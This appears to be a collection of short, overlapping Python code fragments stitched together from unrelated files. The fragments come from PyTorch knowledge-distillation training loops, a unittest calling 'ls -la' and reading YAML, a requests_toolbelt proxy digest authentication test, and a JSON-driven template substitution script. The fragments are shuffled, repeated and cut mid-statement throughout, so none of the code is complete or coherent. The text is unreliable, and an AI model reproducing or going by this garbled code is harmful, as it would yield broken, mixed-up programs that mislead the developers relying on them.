test_loss)", "acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_kd_reg(teacher_, model_, dataset,", "opt.writer.add_scalar('training/loss', loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training/acc', acc, i) print(\"loss:", "#if train_acc > best_train_acc: # best_train_acc = train_acc # model_best = model.module #", "= torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD': criterion = nn.MSELoss() elif loss_criterion == 'CE':", "= model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization,", "hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') latency = [] with", "model(inputs) train_loss = criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt += 1 train_loss_avg = train_loss_total / train_batch_cnt", "momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) loss_best = [sys.maxsize] * n students_best", "dataset!') train_loader = dataset.train_loader train_correct = 0 train_total = 0 best_train_acc = 0", "= sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.MSELoss() if optimization", "nn.CrossEntropyLoss() criterion2 = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum,", "lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher =", "batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if", "== 'KD' or loss_criterion == 'l2': criterion = nn.MSELoss() elif loss_criterion == 'CE':", "lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion =", "from_scratch: init_model(model) for i in range(1, epochs + 1): model.train() #if lr_schedule ==", "#print('acc: ',acc) if acc > acc_best: acc_best = acc model.module.acc = acc model_best", "module.bias is not None: nn.init.constant_(module.bias, 0) elif isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias, 0)", "(idx), loss_total, i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss:", "criterion(outputs, targets) loss.backward() optimizer.step() loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training/loss', loss_total", "test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('train loss: ', loss_total/batch_cnt)", "dataset!') #loader = dataset.train_loader #print(len(loader)) train_loader = dataset.train_loader train_loss_total = 0 train_batch_cnt =", "return model_best, loss_best def train_model_search(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule,", "'linear': scheduler.step() loss_total += loss.item() batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total /", "* correct / total return acc def test_model_regression(model, dataset): model.eval() loader = None", "== 'CE': targets = targets.to(opt.device) for j in range(n): if lr_schedule == 'linear':", "j), loss_total[j], i) test_loss = test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\": \", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i,", "= 0 train_batch_cnt = 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets) in", "isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias, 0) elif isinstance(module, nn.Linear): nn.init.normal_(module.weight, 0, 0.01) nn.init.constant_(module.bias,", "epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 model_best = None model", "for j in range(n)] for i in range(1, epochs + 1): print(\"epochs:\",i) teacher.eval()", "* n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students = [None] * n for j in", "criterion(student_outputs, targets) loss = loss1+loss2 elif loss_criterion == 'CE': loss = criterion(student_outputs, targets)", "import numpy as np def init_model(model): for module in model.modules(): if isinstance(module, nn.Conv2d):", "= model(inputs) loss1 = criterion1(outputs, targets) loss2 = criterion2(outputs, teacher_outputs) loss = loss1", "print(\"test acc: \", acc) if acc > acc_best: acc_best = acc model.module.acc =", "range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j] / batch_cnt, i) acc = test_model(students[j], dataset)", "batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) start_time =", "sys import numpy as np def init_model(model): for module in model.modules(): if isinstance(module,", "len(students_) accs_best = [0.0] * n students_best = [None] * n teacher =", "inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) #i_, predicted =", "i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if test_loss > loss_best: loss_best = test_loss", "for i in range(1, epochs + 1): print(\"epochs:\",i) teacher.eval() for j in range(n):", "#opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if test_loss >", "loader = None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'): loader", "acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('loss: ', loss_total/batch_cnt) print('acc:", "lr=0.005, momentum=0.9, weight_decay=5e-4): acc_best = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion", "optimizers = [optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay) for j in range(n)] if lr_schedule == 'linear':", "optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 best_train_acc = 0", "model_best, loss_best def train_model_student_kd(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay,", "= targets.to(opt.device) for j in range(n): if lr_schedule == 'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j])", "1 #print(\"train acc: \", 100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total/batch_cnt , i) test_loss", "train_model_search(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_)", "0, 0.01) nn.init.constant_(module.bias, 0) return model def test_model(model, dataset): model.eval() correct = 0", "dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if acc", "= criterion2(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step() #if lr_schedule ==", "model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 = nn.CrossEntropyLoss() criterion2 = nn.MSELoss() if", "model def test_model(model, dataset): model.eval() correct = 0 total = 0 loader =", "in range(n)] elif optimization == 'Adam': optimizers = [optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay) for j" ]
[ "cmd('ls -la', check=True, timeout=5) self.assertEqual(result, 0) def test_yaml(self): test = ReadDict(test_config) assert test", "np import cv2 import json from collections import defaultdict import unittest import torch", "# Test files from current path rather than installed module from pymlutil.jsonutil import", "test_yaml(self): test = ReadDict(test_config) assert test is not None assert 'test_yaml' in test", "in test self.assertEqual(test['test_yaml'][0]['zero'], 0) self.assertEqual(test['test_yaml'][1]['one'], 1) self.assertEqual(test['test_yaml'][2]['two'], 2) if __name__ == '__main__': unittest.main()", "import json from collections import defaultdict import unittest import torch sys.path.insert(0, os.path.abspath('')) #", "json from collections import defaultdict import unittest import torch sys.path.insert(0, os.path.abspath('')) # Test", "'test_yaml' in test self.assertEqual(test['test_yaml'][0]['zero'], 0) self.assertEqual(test['test_yaml'][1]['one'], 1) self.assertEqual(test['test_yaml'][2]['two'], 2) if __name__ == '__main__':", "from current path rather than installed module from pymlutil.jsonutil import * test_config =", "= ReadDict(test_config) assert test is not None assert 'test_yaml' in test self.assertEqual(test['test_yaml'][0]['zero'], 0)", "import * test_config = 'test.yaml' class Test(unittest.TestCase): def test_cmd(self): result, _, _ =", "installed module from pymlutil.jsonutil import * test_config = 'test.yaml' class Test(unittest.TestCase): def test_cmd(self):", "module from pymlutil.jsonutil import * test_config = 'test.yaml' class Test(unittest.TestCase): def test_cmd(self): result,", "defaultdict import unittest import torch sys.path.insert(0, os.path.abspath('')) # Test files from current path", "import defaultdict import unittest import torch sys.path.insert(0, os.path.abspath('')) # Test files from current", "ReadDict(test_config) assert test is not None assert 'test_yaml' in test self.assertEqual(test['test_yaml'][0]['zero'], 0) self.assertEqual(test['test_yaml'][1]['one'],", "numpy as np import cv2 import json from collections import defaultdict import unittest", "0) def test_yaml(self): test = ReadDict(test_config) assert test is not None assert 'test_yaml'", "test_config = 'test.yaml' class Test(unittest.TestCase): def test_cmd(self): result, _, _ = cmd('ls -la',", "path rather than installed module from pymlutil.jsonutil import * test_config = 'test.yaml' class", "pymlutil.jsonutil import * test_config = 'test.yaml' class Test(unittest.TestCase): def test_cmd(self): result, _, _", "def test_cmd(self): result, _, _ = cmd('ls -la', check=True, timeout=5) self.assertEqual(result, 0) def", "None assert 'test_yaml' in test self.assertEqual(test['test_yaml'][0]['zero'], 0) self.assertEqual(test['test_yaml'][1]['one'], 1) self.assertEqual(test['test_yaml'][2]['two'], 2) if __name__", "from pymlutil.jsonutil import * test_config = 'test.yaml' class Test(unittest.TestCase): def test_cmd(self): result, _,", "is not None assert 'test_yaml' in test self.assertEqual(test['test_yaml'][0]['zero'], 0) self.assertEqual(test['test_yaml'][1]['one'], 1) self.assertEqual(test['test_yaml'][2]['two'], 2)", "test is not None assert 'test_yaml' in test self.assertEqual(test['test_yaml'][0]['zero'], 0) self.assertEqual(test['test_yaml'][1]['one'], 1) self.assertEqual(test['test_yaml'][2]['two'],", "import os import numpy as np import cv2 import json from collections import", "import unittest import torch sys.path.insert(0, os.path.abspath('')) # Test files from current path rather", "sys.path.insert(0, os.path.abspath('')) # Test files from current path rather than installed module from", "Test files from current path rather than installed module from pymlutil.jsonutil import *", "result, _, _ = cmd('ls -la', check=True, timeout=5) self.assertEqual(result, 0) def test_yaml(self): test", "_, _ = cmd('ls -la', check=True, timeout=5) self.assertEqual(result, 0) def test_yaml(self): test =", "Test(unittest.TestCase): def test_cmd(self): result, _, _ = cmd('ls -la', check=True, timeout=5) self.assertEqual(result, 0)", "import sys import os import numpy as np import cv2 import json from", "timeout=5) self.assertEqual(result, 0) def test_yaml(self): test = ReadDict(test_config) assert test is not None", "collections import defaultdict import unittest import torch sys.path.insert(0, os.path.abspath('')) # Test files from", "assert test is not None assert 'test_yaml' in test self.assertEqual(test['test_yaml'][0]['zero'], 0) self.assertEqual(test['test_yaml'][1]['one'], 1)", "unittest import torch sys.path.insert(0, os.path.abspath('')) # Test files from current path rather than", "torch sys.path.insert(0, os.path.abspath('')) # Test files from current path rather than installed module", "= cmd('ls -la', check=True, timeout=5) self.assertEqual(result, 0) def test_yaml(self): test = ReadDict(test_config) assert", "os.path.abspath('')) # Test files from current path rather than installed module from pymlutil.jsonutil", "rather than installed module from pymlutil.jsonutil import * test_config = 'test.yaml' class Test(unittest.TestCase):", "test = ReadDict(test_config) assert test is not None assert 'test_yaml' in test self.assertEqual(test['test_yaml'][0]['zero'],", "_ = cmd('ls -la', check=True, timeout=5) self.assertEqual(result, 0) def test_yaml(self): test = ReadDict(test_config)", "assert 'test_yaml' in test self.assertEqual(test['test_yaml'][0]['zero'], 0) self.assertEqual(test['test_yaml'][1]['one'], 1) self.assertEqual(test['test_yaml'][2]['two'], 2) if __name__ ==", "os import numpy as np import cv2 import json from collections import defaultdict", "from collections import defaultdict import unittest import torch sys.path.insert(0, os.path.abspath('')) # Test files", "class Test(unittest.TestCase): def test_cmd(self): result, _, _ = cmd('ls -la', check=True, timeout=5) self.assertEqual(result,", "sys import os import numpy as np import cv2 import json from collections", "-la', check=True, timeout=5) self.assertEqual(result, 0) def test_yaml(self): test = ReadDict(test_config) assert test is", "def test_yaml(self): test = ReadDict(test_config) assert test is not None assert 'test_yaml' in", "than installed module from pymlutil.jsonutil import * test_config = 'test.yaml' class Test(unittest.TestCase): def", "files from current path rather than installed module from pymlutil.jsonutil import * test_config", "check=True, timeout=5) self.assertEqual(result, 0) def test_yaml(self): test = ReadDict(test_config) assert test is not", "self.assertEqual(result, 0) def test_yaml(self): test = ReadDict(test_config) assert test is not None assert", "import cv2 import json from collections import defaultdict import unittest import torch sys.path.insert(0,", "* test_config = 'test.yaml' class Test(unittest.TestCase): def test_cmd(self): result, _, _ = cmd('ls", "as np import cv2 import json from collections import defaultdict import unittest import", "import torch sys.path.insert(0, os.path.abspath('')) # Test files from current path rather than installed", "'test.yaml' class Test(unittest.TestCase): def test_cmd(self): result, _, _ = cmd('ls -la', check=True, timeout=5)", "= 'test.yaml' class Test(unittest.TestCase): def test_cmd(self): result, _, _ = cmd('ls -la', check=True,", "test_cmd(self): result, _, _ = cmd('ls -la', check=True, timeout=5) self.assertEqual(result, 0) def test_yaml(self):", "import numpy as np import cv2 import json from collections import defaultdict import", "not None assert 'test_yaml' in test self.assertEqual(test['test_yaml'][0]['zero'], 0) self.assertEqual(test['test_yaml'][1]['one'], 1) self.assertEqual(test['test_yaml'][2]['two'], 2) if", "current path rather than installed module from pymlutil.jsonutil import * test_config = 'test.yaml'", "cv2 import json from collections import defaultdict import unittest import torch sys.path.insert(0, os.path.abspath(''))" ]
[ "class TestProxyDigestAuth(unittest.TestCase): def setUp(self): self.username = \"username\" self.password = \"password\" self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth(", "def setUp(self): self.username = \"username\" self.password = \"password\" self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password", "self.password ) self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal = { 'nonce': self.auth.last_nonce, 'realm': '<EMAIL>', 'qop':", "be clear before calling auth assert not self.prepared_request.headers.get('Proxy-Authorization') self.auth(self.prepared_request) assert self.prepared_request.headers.get('Proxy-Authorization') if __name__", "digest authentication \"\"\" import unittest import requests import requests_toolbelt class TestProxyDigestAuth(unittest.TestCase): def setUp(self):", "'http://host.org/index.html' ).prepare() def test_proxy_digest(self): \"\"\"Test if it will generate Proxy-Authorization header when nonce", "self.username, self.password ) self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal = { 'nonce': self.auth.last_nonce, 'realm': '<EMAIL>',", "header when nonce presents. Digest authentication's correctness will not be tested here. \"\"\"", "'GET', 'http://host.org/index.html' ).prepare() def test_proxy_digest(self): \"\"\"Test if it will generate Proxy-Authorization header when", "presents. Digest authentication's correctness will not be tested here. \"\"\" # prepared_request headers", "utf-8 -*- \"\"\"Test proxy digest authentication \"\"\" import unittest import requests import requests_toolbelt", "clear before calling auth assert not self.prepared_request.headers.get('Proxy-Authorization') self.auth(self.prepared_request) assert self.prepared_request.headers.get('Proxy-Authorization') if __name__ ==", ").prepare() def test_proxy_digest(self): \"\"\"Test if it will generate Proxy-Authorization header when nonce presents.", "Digest authentication's correctness will not be tested here. \"\"\" # prepared_request headers should", "authentication's correctness will not be tested here. \"\"\" # prepared_request headers should be", "self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal = { 'nonce': self.auth.last_nonce, 'realm': '<EMAIL>', 'qop': 'auth' }", "\"\"\" import unittest import requests import requests_toolbelt class TestProxyDigestAuth(unittest.TestCase): def setUp(self): self.username =", "{ 'nonce': self.auth.last_nonce, 'realm': '<EMAIL>', 'qop': 'auth' } self.prepared_request = requests.Request( 'GET', 'http://host.org/index.html'", "self.prepared_request = requests.Request( 'GET', 'http://host.org/index.html' ).prepare() def test_proxy_digest(self): \"\"\"Test if it will generate", "'realm': '<EMAIL>', 'qop': 'auth' } self.prepared_request = requests.Request( 'GET', 'http://host.org/index.html' ).prepare() def test_proxy_digest(self):", "import requests_toolbelt class TestProxyDigestAuth(unittest.TestCase): def setUp(self): self.username = \"username\" self.password = \"password\" self.auth", "here. \"\"\" # prepared_request headers should be clear before calling auth assert not", "self.username = \"username\" self.password = \"password\" self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password ) self.auth.last_nonce", "-*- coding: utf-8 -*- \"\"\"Test proxy digest authentication \"\"\" import unittest import requests", "\"\"\"Test proxy digest authentication \"\"\" import unittest import requests import requests_toolbelt class TestProxyDigestAuth(unittest.TestCase):", "def test_proxy_digest(self): \"\"\"Test if it will generate Proxy-Authorization header when nonce presents. Digest", "requests.Request( 'GET', 'http://host.org/index.html' ).prepare() def test_proxy_digest(self): \"\"\"Test if it will generate Proxy-Authorization header", "before calling auth assert not self.prepared_request.headers.get('Proxy-Authorization') self.auth(self.prepared_request) assert self.prepared_request.headers.get('Proxy-Authorization') if __name__ == '__main__':", "proxy digest authentication \"\"\" import unittest import requests import requests_toolbelt class TestProxyDigestAuth(unittest.TestCase): def", "when nonce presents. Digest authentication's correctness will not be tested here. \"\"\" #", "self.auth.chal = { 'nonce': self.auth.last_nonce, 'realm': '<EMAIL>', 'qop': 'auth' } self.prepared_request = requests.Request(", "TestProxyDigestAuth(unittest.TestCase): def setUp(self): self.username = \"username\" self.password = \"password\" self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth( self.username,", "# prepared_request headers should be clear before calling auth assert not self.prepared_request.headers.get('Proxy-Authorization') self.auth(self.prepared_request)", "'qop': 'auth' } self.prepared_request = requests.Request( 'GET', 'http://host.org/index.html' ).prepare() def test_proxy_digest(self): \"\"\"Test if", "not be tested here. \"\"\" # prepared_request headers should be clear before calling", "be tested here. \"\"\" # prepared_request headers should be clear before calling auth", "'<EMAIL>', 'qop': 'auth' } self.prepared_request = requests.Request( 'GET', 'http://host.org/index.html' ).prepare() def test_proxy_digest(self): \"\"\"Test", "'nonce': self.auth.last_nonce, 'realm': '<EMAIL>', 'qop': 'auth' } self.prepared_request = requests.Request( 'GET', 'http://host.org/index.html' ).prepare()", "= \"password\" self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password ) self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal =", "nonce presents. Digest authentication's correctness will not be tested here. \"\"\" # prepared_request", "generate Proxy-Authorization header when nonce presents. Digest authentication's correctness will not be tested", "-*- \"\"\"Test proxy digest authentication \"\"\" import unittest import requests import requests_toolbelt class", "= \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal = { 'nonce': self.auth.last_nonce, 'realm': '<EMAIL>', 'qop': 'auth' } self.prepared_request", "\"password\" self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password ) self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal = {", "correctness will not be tested here. \"\"\" # prepared_request headers should be clear", "coding: utf-8 -*- \"\"\"Test proxy digest authentication \"\"\" import unittest import requests import", "Proxy-Authorization header when nonce presents. Digest authentication's correctness will not be tested here.", "self.auth.last_nonce, 'realm': '<EMAIL>', 'qop': 'auth' } self.prepared_request = requests.Request( 'GET', 'http://host.org/index.html' ).prepare() def", "\"username\" self.password = \"password\" self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password ) self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\"", "self.password = \"password\" self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password ) self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal", "if it will generate Proxy-Authorization header when nonce presents. Digest authentication's correctness will", "= requests.Request( 'GET', 'http://host.org/index.html' ).prepare() def test_proxy_digest(self): \"\"\"Test if it will generate Proxy-Authorization", "will not be tested here. \"\"\" # prepared_request headers should be clear before", "\"\"\" # prepared_request headers should be clear before calling auth assert not self.prepared_request.headers.get('Proxy-Authorization')", "= { 'nonce': self.auth.last_nonce, 'realm': '<EMAIL>', 'qop': 'auth' } self.prepared_request = requests.Request( 'GET',", "\"\"\"Test if it will generate Proxy-Authorization header when nonce presents. Digest authentication's correctness", "requests import requests_toolbelt class TestProxyDigestAuth(unittest.TestCase): def setUp(self): self.username = \"username\" self.password = \"password\"", "} self.prepared_request = requests.Request( 'GET', 'http://host.org/index.html' ).prepare() def test_proxy_digest(self): \"\"\"Test if it will", "import unittest import requests import requests_toolbelt class TestProxyDigestAuth(unittest.TestCase): def setUp(self): self.username = \"username\"", "\"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal = { 'nonce': self.auth.last_nonce, 'realm': '<EMAIL>', 'qop': 'auth' } self.prepared_request =", "calling auth assert not self.prepared_request.headers.get('Proxy-Authorization') self.auth(self.prepared_request) assert self.prepared_request.headers.get('Proxy-Authorization') if __name__ == '__main__': unittest.main()", "import requests import requests_toolbelt class TestProxyDigestAuth(unittest.TestCase): def setUp(self): self.username = \"username\" self.password =", "= requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password ) self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal = { 'nonce': self.auth.last_nonce,", "it will generate Proxy-Authorization header when nonce presents. Digest authentication's correctness will not", "prepared_request headers should be clear before calling auth assert not self.prepared_request.headers.get('Proxy-Authorization') self.auth(self.prepared_request) assert", ") self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal = { 'nonce': self.auth.last_nonce, 'realm': '<EMAIL>', 'qop': 'auth'", "requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password ) self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal = { 'nonce': self.auth.last_nonce, 'realm':", "tested here. \"\"\" # prepared_request headers should be clear before calling auth assert", "authentication \"\"\" import unittest import requests import requests_toolbelt class TestProxyDigestAuth(unittest.TestCase): def setUp(self): self.username", "headers should be clear before calling auth assert not self.prepared_request.headers.get('Proxy-Authorization') self.auth(self.prepared_request) assert self.prepared_request.headers.get('Proxy-Authorization')", "unittest import requests import requests_toolbelt class TestProxyDigestAuth(unittest.TestCase): def setUp(self): self.username = \"username\" self.password", "'auth' } self.prepared_request = requests.Request( 'GET', 'http://host.org/index.html' ).prepare() def test_proxy_digest(self): \"\"\"Test if it", "will generate Proxy-Authorization header when nonce presents. Digest authentication's correctness will not be", "# -*- coding: utf-8 -*- \"\"\"Test proxy digest authentication \"\"\" import unittest import", "test_proxy_digest(self): \"\"\"Test if it will generate Proxy-Authorization header when nonce presents. Digest authentication's", "self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password ) self.auth.last_nonce = \"bH3FVAAAAAAg74rL3X8AAI3CyBAAAAAA\" self.auth.chal = { 'nonce':", "requests_toolbelt class TestProxyDigestAuth(unittest.TestCase): def setUp(self): self.username = \"username\" self.password = \"password\" self.auth =", "= \"username\" self.password = \"password\" self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password ) self.auth.last_nonce =", "setUp(self): self.username = \"username\" self.password = \"password\" self.auth = requests_toolbelt.auth.HTTPProxyDigestAuth( self.username, self.password )", "should be clear before calling auth assert not self.prepared_request.headers.get('Proxy-Authorization') self.auth(self.prepared_request) assert self.prepared_request.headers.get('Proxy-Authorization') if" ]
[ "is_valid_list = is_valid_list and (len(data[key])==number_of_elem) else: number_of_elem = len(data[key]) is_valid_list = True is_list", "+ error + comment['end'] + '\\n') for i in range(0,number_of_loop): out_line = in_line", "= number_of_elem if number_of_loop == 0: number_of_loop = 1 if is_list and not", "out_lines.append(comment['begin'] + ' ' + error + comment['end'] + '\\n') for i in", "comment['end'] + ' *', '\\g<1>', out_line) out_line = out_line.replace('\\n', '') for key in", "data and isinstance(data[key], list): if is_list: is_valid_list = is_valid_list and (len(data[key])==number_of_elem) else: number_of_elem", "print('\\n***ERRORS***\\n') print(str(len(errors)) + ' errors in templating process:') for error in errors: print('\\t'", "+ comment['begin'] + ' *(.*)' + comment['end'] + ' *', '\\g<1>', out_line) out_line", "'<ERROR> Key \\'' + key + '\\' not exiting.'; errors.append(error) out_lines.append(comment['begin'] + '", "################################################################################ errors = [] in_file_path = sys.argv[1] out_file_path = in_file_path data_file_path = sys.argv[2]", "out_line in out_lines: out_file.write(out_line) if len(errors) > 0: print('\\n***ERRORS***\\n') print(str(len(errors)) + ' errors", "<REPLACED> ' + comment['end'] + '\\n') else: error = '<ERROR> Key \\'' +", "\\'' + key + '\\' not exiting.'; errors.append(error) out_lines.append(comment['begin'] + ' ' +", "0: print('\\n***ERRORS***\\n') print(str(len(errors)) + ' errors in templating process:') for error in errors:", "' ' + comment['begin'] + ' <REPLACED> ' + comment['end'] + '\\n') else:", "json1_file = open(data_file_path) json1_str = json1_file.read() data = json.loads(json1_str) in_file = open(in_file_path) in_lines", "out_lines: out_file.write(out_line) if len(errors) > 0: print('\\n***ERRORS***\\n') print(str(len(errors)) + ' errors in templating", "error = '<ERROR> Data list length are not consistent.' errors.append(error) out_lines.append(comment['begin'] + '", "+ comment['begin'] + ' <REPLACED> ' + comment['end'] + '\\n') else: error =", "open(in_file_path) in_lines = in_file.readlines() out_lines = [] for in_line in in_lines: if '<REPLACED>'", "out_lines = [] for in_line in in_lines: if '<REPLACED>' in in_line or '<IGNORE>'", "= [] for in_line in in_lines: if '<REPLACED>' in in_line or '<IGNORE>' in", "[] for in_line in in_lines: if '<REPLACED>' in in_line or '<IGNORE>' in in_line", "in_line in in_lines: if '<REPLACED>' in in_line or '<IGNORE>' in in_line or '<ERROR>'", "# Find patterns out_lines.append(in_line) prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list = prog.findall(in_line) # Find number_of_elem", "True number_of_loop = number_of_elem if number_of_loop == 0: number_of_loop = 1 if is_list", "= False for key in key_list: if key in data and isinstance(data[key], list):", "key + '\\' not exiting.'; errors.append(error) out_lines.append(comment['begin'] + ' ' + error +", "= data[key] out_line = out_line.replace('<REPLACE:' + key + '>', str(value)) else: out_line =", "data: out_lines.append(out_line + ' ' + comment['begin'] + ' <REPLACED> ' + comment['end']", "in_lines = in_file.readlines() out_lines = [] for in_line in in_lines: if '<REPLACED>' in", "json1_str = json1_file.read() data = json.loads(json1_str) in_file = open(in_file_path) in_lines = in_file.readlines() out_lines", "+ '\\' not exiting.'; errors.append(error) out_lines.append(comment['begin'] + ' ' + error + '", "+ ' ' + error + ' ' + comment['end'] + '\\n') out_file", "if len(sys.argv) < 3: print('Not enough input arguments') exit() ################################################################################ # Options comment", "are not consistent.' errors.append(error) out_lines.append(comment['begin'] + ' ' + error + comment['end'] +", "error = '<ERROR> Key \\'' + key + '\\' not exiting.'; errors.append(error) out_lines.append(comment['begin']", "# Options comment = {'begin':'<!--', 'end':'-->'} ################################################################################ errors = [] in_file_path = sys.argv[1]", "' ' + comment['end'] + '\\n') out_file = open(out_file_path, 'w') for out_line in", "for i in range(0,number_of_loop): out_line = in_line out_line = re.sub(r'^ *' + comment['begin']", "' + comment['end'] + '\\n') out_file = open(out_file_path, 'w') for out_line in out_lines:", "not is_valid_list: number_of_loop = 0 error = '<ERROR> Data list length are not", "exit() ################################################################################ # Options comment = {'begin':'<!--', 'end':'-->'} ################################################################################ errors = [] in_file_path", "len(errors) > 0: print('\\n***ERRORS***\\n') print(str(len(errors)) + ' errors in templating process:') for error", "in in_line or '<IGNORE>' in in_line or '<ERROR>' in in_line: continue # Find", "json1_file.read() data = json.loads(json1_str) in_file = open(in_file_path) in_lines = in_file.readlines() out_lines = []", "\"\"\" \"\"\" import sys import re import shutil import json if len(sys.argv) <", "'<IGNORE>' in in_line or '<ERROR>' in in_line: continue # Find patterns out_lines.append(in_line) prog", "= False is_valid_list = False for key in key_list: if key in data", "error + ' ' + comment['end'] + '\\n') out_file = open(out_file_path, 'w') for", "comment['end'] + '\\n') out_file = open(out_file_path, 'w') for out_line in out_lines: out_file.write(out_line) if", "# Find number_of_elem = 0 is_list = False is_valid_list = False for key", "in in_lines: if '<REPLACED>' in in_line or '<IGNORE>' in in_line or '<ERROR>' in", "== 0: number_of_loop = 1 if is_list and not is_valid_list: number_of_loop = 0", "= open(data_file_path) json1_str = json1_file.read() data = json.loads(json1_str) in_file = open(in_file_path) in_lines =", "> 0: print('\\n***ERRORS***\\n') print(str(len(errors)) + ' errors in templating process:') for error in", "= prog.findall(in_line) # Find number_of_elem = 0 is_list = False is_valid_list = False", "print('Not enough input arguments') exit() ################################################################################ # Options comment = {'begin':'<!--', 'end':'-->'} ################################################################################", "Find number_of_elem = 0 is_list = 